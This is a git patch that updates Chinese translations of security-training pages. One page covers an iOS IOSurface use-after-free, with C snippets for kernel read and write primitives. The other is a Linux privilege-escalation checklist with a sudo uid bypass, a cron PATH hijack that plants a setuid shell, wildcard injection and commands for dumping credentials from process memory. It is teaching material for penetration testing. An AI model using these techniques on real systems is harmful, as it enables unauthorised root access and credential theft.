From 867f71aff1a6642a3f4282b0716557f79b6dff74 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 09:42:17 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/b --- .../ios-physical-uaf-iosurface.md | 134 ++-- .../privilege-escalation/README.md | 635 +++++++++--------- 2 files changed, 394 insertions(+), 375 deletions(-) diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index a0b376861..691cbcdf2 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -1,99 +1,99 @@ -# iOS Physical Use-After-Free via IOSurface +# iOS Physical Use After Free via IOSurface {{#include ../../banners/hacktricks-training.md}} ## Physical use-after-free -这是对文章 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 的总结，更多使用该技术的利用信息可以在 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) 找到。 +这是对帖子 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 的摘要，更多关于使用该技术的利用细节可见 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Memory management in XNU -iOS 上用户进程的虚拟内存地址空间从 **0x0 到 0x8000000000**。但是这些地址并不直接映射到物理内存。相反，内核使用 **page tables** 来将虚拟地址转换为实际的 **physical addresses**。 +用户进程在 iOS 上的虚拟内存地址空间范围为 0x0 到 0x8000000000。但这些地址并不直接映射到物理内存。相反，内核使用页表将虚拟地址翻译为实际的物理地址。 #### Levels of Page Tables in iOS -页表以三级层次结构组织： +页表在 iOS 中按层次组织为三层： -1. **L1 Page Table (Level 1)**： -* 此处的每个条目代表一大块虚拟内存区域。 -* 覆盖 **0x1000000000 bytes**（或 **256 GB**）的虚拟内存。 -2. **L2 Page Table (Level 2)**： -* 此处的每个条目代表比 L1 更小的虚拟内存区域，具体为 **0x2000000 bytes**（32 MB）。 -* 如果 L1 条目无法自行映射整个区域，它可能指向一个 L2 表。 -3. **L3 Page Table (Level 3)**： -* 这是最细粒度的级别，每个条目映射一个 **4 KB** 的内存页。 -* 如果需要更细的控制，L2 条目可能指向 L3 表。 +1. **L1 Page Table (Level 1)**: +* 此层的每个条目表示一大段虚拟内存。 +* 它覆盖 **0x1000000000 bytes**（或 **256 GB**）的虚拟内存。 +2. **L2 Page Table (Level 2)**: +* 这里的每个条目表示更小的虚拟内存区域，具体为 **0x2000000 bytes**（32 MB）。 +* 如果 L1 条目无法自身映射整个区域，它可能指向一个 L2 表。 +3. **L3 Page Table (Level 3)**: +* 这是最细的级别，每个条目映射一个 **4 KB** 的内存页。 +* 如果需要更精细的控制，L2 条目可能指向一个 L3 表。 #### Mapping Virtual to Physical Memory -* **Direct Mapping (Block Mapping)**： - * 页表中的某些条目直接将一段虚拟地址范围映射到一段连续的物理地址（类似捷径）。 -* **Pointer to Child Page Table**： - * 如果需要更细的控制，一个级别（例如 L1）中的条目可以指向下一级的 **child page table**（例如 L2）。 +* **Direct Mapping (Block Mapping)**: +* 页表中的某些条目直接将一段虚拟地址范围映射到连续的物理地址范围（类似捷径）。 +* **Pointer to Child Page Table**: +* 如果需要更精细的控制，某一层（例如 L1）中的条目可以指向下一层的子页表（例如 L2）。 #### Example: Mapping a Virtual Address 假设你尝试访问虚拟地址 **0x1000000000**： -1. **L1 Table**： -* 内核检查与该虚拟地址对应的 L1 页表条目。如果它包含一个指向 L2 page table 的指针，就转到该 L2 表。 -2. **L2 Table**： -* 内核检查 L2 页表以获得更详细的映射。如果该条目指向 L3 page table，就继续到 L3。 -3. **L3 Table**： -* 内核查找最终的 L3 条目，它指向实际内存页的 **物理地址**。 +1. **L1 Table**: +* 内核检查对应该虚拟地址的 L1 页表条目。如果它包含指向 L2 页表的指针，则转到该 L2 表。 +2. **L2 Table**: +* 内核在 L2 页表中查找更详细的映射。如果该条目指向 L3 页表，则继续到 L3。 +3. **L3 Table**: +* 内核查找最终的 L3 条目，该条目指向实际内存页的物理地址。 #### Example of Address Mapping 如果你在 L2 表的第一个索引写入物理地址 **0x800004000**，那么： -* 虚拟地址从 **0x1000000000** 到 **0x1002000000** 映射到物理地址从 **0x800004000** 到 **0x802004000**。 -* 这是在 L2 级别的 **block mapping**。 +* 虚拟地址从 **0x1000000000** 到 **0x1002000000** 将映射到物理地址从 **0x800004000** 到 **0x802004000**。 +* 这是 L2 级别的 **block mapping**。 -或者，如果 L2 条目指向一个 L3 表： +或者，如果 L2 条目指向 L3 表： -* 虚拟地址范围 **0x1000000000 -> 0x1002000000** 中的每个 4 KB 页面将由 L3 表中的单独条目进行映射。 +* 虚拟地址范围 **0x1000000000 -> 0x1002000000** 中的每个 4 KB 页面将由 L3 表中的单独条目映射。 ### Physical use-after-free -当发生一个 **physical use-after-free (UAF)** 时，情况如下： +当发生 **physical use-after-free (UAF)** 时，流程通常为： -1. 进程分配了一段可读写的内存。 -2. 内核更新 page tables，将这段内存映射到进程可访问的特定物理地址。 +1. 进程分配了一块可读写的内存。 +2. 页表被更新以将这块内存映射到进程可访问的特定物理地址。 3. 进程释放（deallocate）了该内存。 -4. 但是由于一个 **bug**，内核**忘记从页表中移除该映射**，尽管它将对应的物理内存标记为可重用。 -5. 内核随后可能将这块“已释放”的物理内存**重新分配**给其他用途，比如内核数据。 -6. 由于映射未被移除，进程仍然可以对这段物理内存进行**读写**。 +4. 但是，由于一个 bug，内核忘记从页表中移除该映射，即便内核将对应的物理内存标记为已释放。 +5. 内核随后可能将这块“已释放”的物理内存重新分配给其他用途，例如内核数据结构。 +6. 由于映射未被移除，进程仍然可以对这块物理内存进行读写。 -这意味着进程可能访问到**内核内存页**，其中可能包含敏感数据或结构，攻击者可能借此**操纵内核内存**。 +这意味着进程可以访问到内核内存页，这些页可能包含敏感数据或结构，从而可能允许攻击者操纵内核内存。 ### IOSurface Heap Spray -由于攻击者无法控制具体哪些内核页会被分配给被释放的内存，他们使用一种叫做 **heap spray** 的技术： +因为攻击者无法控制哪些具体的内核页会被分配给被释放的内存，他们使用一种称为 **heap spray** 的技术： -1. 攻击者在内核内存中创建大量 IOSurface objects。 -2. 每个 IOSurface 对象在其某个字段中包含一个用于识别的 **magic value**，便于检测。 -3. 他们扫描那些已释放的页面，查看是否有这些 IOSurface 对象落在被释放的页面上。 -4. 一旦发现某个 IOSurface 对象位于被释放页面上，就可以利用它来**读写内核内存**。 +1. 攻击者在内核内存中创建大量的 IOSurface 对象。 +2. 每个 IOSurface 对象在其某个字段中包含一个用于识别的 **magic value**，便于定位。 +3. 他们扫描被释放的页以查看是否有任何这些 IOSurface 对象被分配到了被释放的页上。 +4. 一旦发现某个 IOSurface 对象落在被释放的页上，就可以利用它来读写内核内存。 -更多信息见 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +更多信息参见 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) > [!TIP] -> 注意，iOS 16+（A12+）设备引入了硬件缓解手段（例如 PPL 或 SPTM），这些措施使得 physical UAF 技术的可行性大大降低。 -> PPL 对与代码签名、权限（entitlements）和敏感内核数据相关的页面实施严格的 MMU 保护，因此即便某页被重用，从 userland 或被破坏的内核代码对受 PPL 保护页面的写入也会被阻止。 -> Secure Page Table Monitor (SPTM) 通过加强页表更新本身来扩展 PPL。它确保即使是高权限的内核代码也无法在不经过安全检查的情况下悄然重新映射已释放页面或篡改映射。 -> KTRR (Kernel Text Read-Only Region) 在启动后将内核的代码段锁定为只读。这阻止了对内核代码的运行时修改，封堵了 physical UAF 利用常依赖的一个主要攻击路径。 -> 另外，IOSurface 的分配变得更不可预测且更难映射回用户可访问区域，这使得“magic value 扫描”技巧变得不可靠。并且 IOSurface 现在受 entitlements 和 sandbox 限制的保护。 +> 注意，iOS 16+（A12+）设备引入了硬件缓解措施（如 PPL 或 SPTM），这使得 physical UAF 技术变得远不那么可行。 +> PPL 在与代码签名、权限以及敏感内核数据相关的页面上强制执行严格的 MMU 保护，因此即便某个页面被重用，来自 userland 或被攻破的内核代码对 PPL 保护页面的写入也会被阻止。 +> Secure Page Table Monitor (SPTM) 通过强化页表更新本身来扩展 PPL。它确保即便是特权内核代码也不能在不经过安全检查的情况下悄然重新映射已释放页面或篡改映射。 +> KTRR (Kernel Text Read-Only Region) 在引导后将内核的代码段锁为只读。这阻止了对内核代码的任何运行时修改，封堵了许多 physical UAF 利用常依赖的攻击向量。 +> 此外，`IOSurface` 的分配变得不那么可预测，也更难映射到用户可访问的区域，这使得“magic value 扫描”策略的可靠性大幅下降。并且 `IOSurface` 现在受到权限（entitlements）和沙箱限制的保护。 ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: 攻击者创建大量带有特殊标识（“magic value”）的 IOSurface objects。 -2. **Scan Freed Pages**: 他们检查是否有对象被分配到已释放的页面上。 -3. **Read/Write Kernel Memory**: 通过操纵 IOSurface 对象中的字段，他们获得了在内核内存中进行**任意读写**的能力。这使他们能够： -* 使用一个字段来**读取内核内存中的任意 32-bit 值**。 -* 使用另一个字段来**写入 64-bit 值**，从而实现稳定的 **kernel read/write primitive**。 +1. **Spray IOSurface Objects**: 攻击者创建大量包含特殊标识（“magic value”）的 IOSurface 对象。 +2. **Scan Freed Pages**: 检查这些对象是否有被分配到被释放的页面上。 +3. **Read/Write Kernel Memory**: 通过操纵 IOSurface 对象中的字段，他们获得了在内核内存中进行**任意读写**的能力。这使得他们可以： +* 使用一个字段来**读取内核内存中的任意 32 位值**。 +* 使用另一个字段来**写入 64 位值**，从而实现稳定的**内核读/写原语**。 -Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for: +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; @@ -114,7 +114,7 @@ io_connect_t id = result.surface_id; } } ``` -在一个已释放的物理页面中搜索 **`IOSurface`** 对象: +在一个已释放的物理页面中搜索 **`IOSurface`** 对象： ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); @@ -148,24 +148,24 @@ free(surfaceIDs); return 0; } ``` -### 使用 IOSurface 实现内核读/写 +### 使用 IOSurface 实现 Kernel Read/Write -在获得对内核内的 IOSurface 对象的控制后（映射到可从用户态访问的已释放物理页面），我们可以用它进行 **任意内核读写操作**。 +在对 kernel memory 中的 IOSurface 对象取得控制（映射到可从 userspace 访问的已释放物理页面）之后，我们可以使用它进行 **arbitrary kernel read and write operations**。 **IOSurface 的关键字段** IOSurface 对象有两个关键字段： -1. **Use Count Pointer**：允许 **32-bit 读取**。 -2. **Indexed Timestamp Pointer**：允许 **64-bit 写入**。 +1. **Use Count Pointer**：允许 **32-bit read**。 +2. **Indexed Timestamp Pointer**：允许 **64-bit write**。 -通过覆写这些指针，可以将它们重定向到内核内的任意地址，从而实现读/写能力。 +通过覆盖这些指针，我们可以将它们重定向到 kernel memory 中的任意地址，从而实现读/写能力。 -#### 32-Bit 内核读取 +#### 32-Bit Kernel Read -要执行一次读取： +要执行读取： -1. 将 **use count pointer** 覆写为指向目标地址减去 0x14 字节偏移的位置。 +1. 覆盖 **use count pointer**，使其指向目标地址减去 0x14 字节的偏移。 2. 使用 `get_use_count` 方法读取该地址处的值。 ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -186,9 +186,9 @@ return value; ``` #### 64 位内核写入 -要执行写入： +要执行写入操作： -1. 将 **索引时间戳指针** 覆盖为目标地址。 +1. 将 **indexed timestamp pointer** 覆盖为目标地址。 2. 使用 `set_indexed_timestamp` 方法写入一个 64 位值。 ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { @@ -205,11 +205,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); ``` #### 利用流程回顾 -1. **Trigger Physical Use-After-Free**：释放的页面可被重用。 -2. **Spray IOSurface Objects**：在内核内存中分配许多带有唯一 "magic value" 的 IOSurface 对象。 -3. **Identify Accessible IOSurface**：定位位于你控制的已释放页面上的 IOSurface。 -4. **Abuse Use-After-Free**：修改 IOSurface 对象中的指针，通过 IOSurface 方法实现任意 **kernel read/write**。 +1. **Trigger Physical Use-After-Free**: 已释放的页面可被重新使用。 +2. **Spray IOSurface Objects**: 在 kernel memory 中分配大量带有唯一 "magic value" 的 IOSurface 对象。 +3. **Identify Accessible IOSurface**: 在你控制的已释放页面上定位一个 IOSurface。 +4. **Abuse Use-After-Free**: 修改 IOSurface 对象中的指针，通过 IOSurface 方法实现任意 **kernel read/write**。 -利用这些原语，漏洞利用能够对内核内存进行可控的 **32-bit reads** 和 **64-bit writes**。后续的 jailbreak 步骤可能需要更稳定的 read/write primitives，这可能要求绕过额外的保护（例如在较新的 arm64e 设备上的 PPL）。 +利用这些原语，漏洞利用可以对 kernel memory 进行受控的 **32-bit reads** 和 **64-bit writes**。后续的 jailbreak 步骤可能涉及更稳定的 read/write primitives，这可能需要绕过额外的保护（例如针对较新的 arm64e 设备的 PPL）。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 29f0edcf6..3bab3bc1b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,48 +4,48 @@ ## 系统信息 -### 操作系统信息 +### OS 信息 -让我们开始收集关于正在运行的操作系统的一些信息 +让我们开始获取关于正在运行的 OS 的一些信息 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### 路径 +### Path -如果你 **对 `PATH` 变量中任何文件夹具有写入权限**，你可能能够劫持某些库或二进制文件： +如果你对 **`PATH` 变量中的任何文件夹具有写入权限**，你可能能够劫持某些库或二进制文件： ```bash echo $PATH ``` ### 环境信息 -在环境变量中是否有有趣的信息、密码或 API 密钥？ +环境变量中是否包含有趣的信息、密码或 API 密钥？ ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查 kernel 版本，并查看是否存在可用于 escalate privileges 的 exploit。 +检查 kernel 版本，查看是否存在可以用来 escalate privileges 的 exploit ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到一个不错的易受攻击的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的 vulnerable kernel list 和一些已经 **compiled exploits**： [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的站点： [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有易受攻击的内核版本，你可以这样做: +要从该网站提取所有 vulnerable kernel versions，你可以做： ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可以帮助搜索 kernel exploits 的工具有： +可以帮助查找内核漏洞利用的工具有： [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行，仅检查 kernel 2.x 的 exploits) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在受害主机上执行，仅检查 2.x 内核的漏洞利用) -始终 **在 Google 上搜索 kernel 版本**，也许你的 kernel 版本已在某个 kernel exploit 中被提及，这样你就能确定该 exploit 是否可用。 +始终 **在 Google 上搜索内核版本**，可能你的内核版本已经出现在某个内核漏洞利用中，这样你就能确定该漏洞利用是否有效。 ### CVE-2016-5195 (DirtyCow) @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -查看 **smasher2 box of HTB**，获取该 vuln 如何被利用的 **示例** +查看 **smasher2 box of HTB**，了解如何利用该 vuln 的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -112,7 +112,7 @@ fi ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` -### SElinux +### SElinux（安全增强的 Linux） ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在一个 docker 容器内，你可以尝试从中逃逸： - +如果你在 docker container 内，你可以尝试从中逃逸： {{#ref}} docker-security/ @@ -132,69 +131,69 @@ docker-security/ ## 驱动器 -检查 **哪些已挂载或未挂载**、在哪儿以及为什么。如果有任何未挂载的项，你可以尝试将其挂载并检查是否有私有信息。 +检查 **what is mounted and unmounted**、挂载位置以及原因。如果有任何未挂载的设备，你可以尝试将其 mount 并检查是否有敏感信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 实用软件 +## 有用的软件 -枚举有用的二进制文件 +列举有用的二进制文件 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -另外，检查是否安装了 **任何编译器**。如果你需要使用某些 kernel exploit，这会很有用，因为建议在打算使用它的机器上（或在一台类似的机器上）进行编译。 +另外，检查是否安装了**任何编译器**。如果需要使用某些 kernel exploit，这很有用，因为建议在将要使用它的机器上（或在一台类似的机器上）进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 已安装的易受攻击软件 +### Vulnerable Software Installed -检查已安装的软件包和服务的**版本**。可能存在旧的 Nagios 版本（例如），可被利用来提权…\ -建议手动检查更可疑已安装软件的版本。 +检查**已安装的软件包和服务的版本**。可能存在旧的 Nagios 版本（例如），可以被利用来进行 escalating privileges…\ +建议手动检查更可疑的已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -如果你有对该机器的 SSH 访问权限，你也可以使用 **openVAS** 来检查机器中已安装的过时和存在漏洞的软件。 +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _请注意，这些命令会显示大量且大多无用的信息，因此建议使用像 OpenVAS 或类似的应用程序来检查已安装的软件版本是否存在已知 exploits 可利用的漏洞_ +> [!NOTE] > _请注意，这些命令会显示大量大多无用的信息，因此建议使用 OpenVAS 或类似工具来检查已安装的软件版本是否容易受到已知 exploits 的利用。_ -## 进程 +## Processes -查看正在执行的 **哪些进程**，并检查是否有任何进程拥有 **比它应有的更多权限**（也许某个 tomcat 由 root 执行？） +查看正在执行的 **哪些进程**，并检查是否有任何进程拥有 **比它应有的更多权限**（例如由 root 运行的 tomcat？） ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测它们。\ -另外**检查你对进程二进制文件的权限**，也许你可以覆盖某些文件。 +始终检查是否有可能的 [**electron/cef/chromium debuggers** 正在运行，你可以滥用它来提升权限](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测它们。\ +另外 **检查你对进程二进制文件的权限**，也许你可以覆盖某些可执行文件。 ### 进程监控 -你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这在识别经常被执行或在满足特定条件时运行的易受攻击进程时非常有用。 +你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这在识别经常被执行或在满足一组条件时触发的易受攻击进程时非常有用。 ### 进程内存 -有些服务器的服务会将**凭据以明文保存在内存中**。\ -通常你需要**root 权限**来读取属于其他用户的进程内存，因此这通常在你已经是 root 并想发现更多凭据时更有用。\ -但是，请记住，**作为普通用户你可以读取你所拥有的进程的内存**。 +一些服务器服务会在内存中以**明文**保存凭据。\ +通常你需要 **root privileges** 来读取属于其他用户的进程内存，因此这通常在你已经是 root 并想发现更多凭据时更有用。\ +但是，记住 **作为普通用户你可以读取你自己拥有的进程的内存**。 > [!WARNING] -> 注意，如今大多数机器**默认不允许 ptrace**，这意味着你无法转储属于你非特权用户的其他进程。 +> 注意如今大多数机器**默认不允许 ptrace**，这意味着你无法转储属于其他用户的进程（如果你是非特权用户）。 > > 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性： > -> - **kernel.yama.ptrace_scope = 0**: 所有进程都可以被调试，只要它们具有相同的 uid。这是 ptrace 传统的工作方式。 +> - **kernel.yama.ptrace_scope = 0**: 所有进程都可以被调试，只要它们具有相同的 uid。这是 ptracing 的传统工作方式。 > - **kernel.yama.ptrace_scope = 1**: 只有父进程可以被调试。 > - **kernel.yama.ptrace_scope = 2**: 只有管理员可以使用 ptrace，因为它需要 CAP_SYS_PTRACE 能力。 -> - **kernel.yama.ptrace_scope = 3**: 不允许使用 ptrace 跟踪任何进程。设置后，需重启才能再次启用 ptrace。 +> - **kernel.yama.ptrace_scope = 3**: 不能用 ptrace 跟踪任何进程。设置后需要重启才能再次启用 ptrace。 #### GDB -如果你可以访问一个 FTP 服务（例如）的内存，你可以获取 Heap 并在其中搜索凭据。 +如果你可以访问某个 FTP 服务（例如）的内存，你可以获取 Heap 并在其中搜索凭据。 ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID，**maps 显示内存如何在该进程的** 虚拟地址空间中被映射；它还显示**每个映射区域的权限**。该 **mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件我们知道哪些**内存区域是可读的**以及它们的偏移。我们使用这些信息**seek into the mem file and dump all readable regions** 到一个文件。 +对于给定的进程 ID，**maps 显示该进程的内存如何映射** 的虚拟地址空间；它还显示**每个映射区域的权限**。该 **mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件我们可以知道哪些**内存区域是可读的**以及它们的偏移。我们使用这些信息**在 mem 文件中定位并转储所有可读区域**到一个文件。 ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统的 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ -通常，`/dev/mem` 只有 **root** 和 **kmem** 组可读。 +`/dev/mem` 提供对系统的**物理**内存的访问，而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ +通常，`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump 用于 linux -ProcDump 是对 Sysinternals 工具套件中用于 Windows 的经典 ProcDump 工具在 Linux 平台上的重新实现。可从以下网址获取： [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump 是对 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新构想。可在以下地址获取： [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,33 +266,33 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### 工具 -要转储进程内存，你可以使用： +要 dump 进程内存，你可以使用： - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储你拥有的进程 -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)（需要 root） +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并 dump 你拥有的进程 +- Script A.5 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) ### 从进程内存获取凭证 #### 手动示例 -如果你发现 authenticator 进程正在运行： +如果发现 authenticator 进程正在运行： ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump 该进程（参见前文以了解不同的进程内存 dump 方法），并在内存中搜索凭证： +你可以 dump the process（参见前面的章节以了解 dump the memory of a process 的不同方法），并在 memory 中搜索 credentials： ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将**从内存窃取明文凭证**并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 +该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 -| 功能 | 进程名 | +| 功能 | 进程名称 | | ------------------------------------------------- | -------------------- | -| GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -314,22 +313,22 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 定时任务/Cron jobs +## Scheduled/Cron jobs -检查是否有任何定时任务存在漏洞。也许你可以利用由 root 执行的 script（wildcard vuln? 可以修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?）。 +检查是否有任何计划任务易受攻击。也许你可以利用由 root 执行的脚本（wildcard vuln? 能否修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?）。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron 路径 -例如，在 _/etc/crontab_ 中你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例如，在 _/etc/crontab_ 你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意用户 "user" 对 /home/user 拥有写权限_) +_（注意用户 "user" 对 /home/user 有写权限）_ -如果在这个 crontab 中 root 用户尝试执行某个命令或脚本但没有设置 PATH。例如： _\* \* \* \* root overwrite.sh_\ -然后，你可以通过使用以下方法获得 root shell： +如果在这个 crontab 中 root 用户尝试在不设置 PATH 的情况下执行某个命令或脚本。例如： _\* \* \* \* root overwrite.sh_\ +那么，你可以通过以下方式获得 root shell： ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron 使用带通配符的脚本 (Wildcard Injection) -如果脚本以 root 身份执行，并且命令中包含 “**\***”，你可以利用这一点触发意外行为（例如 privesc）。示例: +如果一个由 root 执行的脚本在命令中包含 “**\***”，你可以利用这一点导致意想不到的结果（比如 privesc）。示例： ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符出现在像** _**/some/path/\***_ **的路径之前，则它不易受到影响（即使** _**./\***_ **也不受影响）。** +**如果通配符前面有路径比如** _**/some/path/***_ **，就不会受到影响（即使** _**./***_ **也不）。** -阅读下列页面以获取更多通配符利用技巧： +阅读以下页面以获取更多通配符利用技巧： {{#ref}} @@ -353,11 +352,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash 在 ((...))、$((...)) 和 let 中的 arithmetic evaluation 之前会执行 parameter expansion 和 command substitution。如果一个 root cron/parser 读取不受信任的日志字段并将其送入算术上下文，攻击者可以注入 command substitution $(...)，在 cron 运行时该命令会以 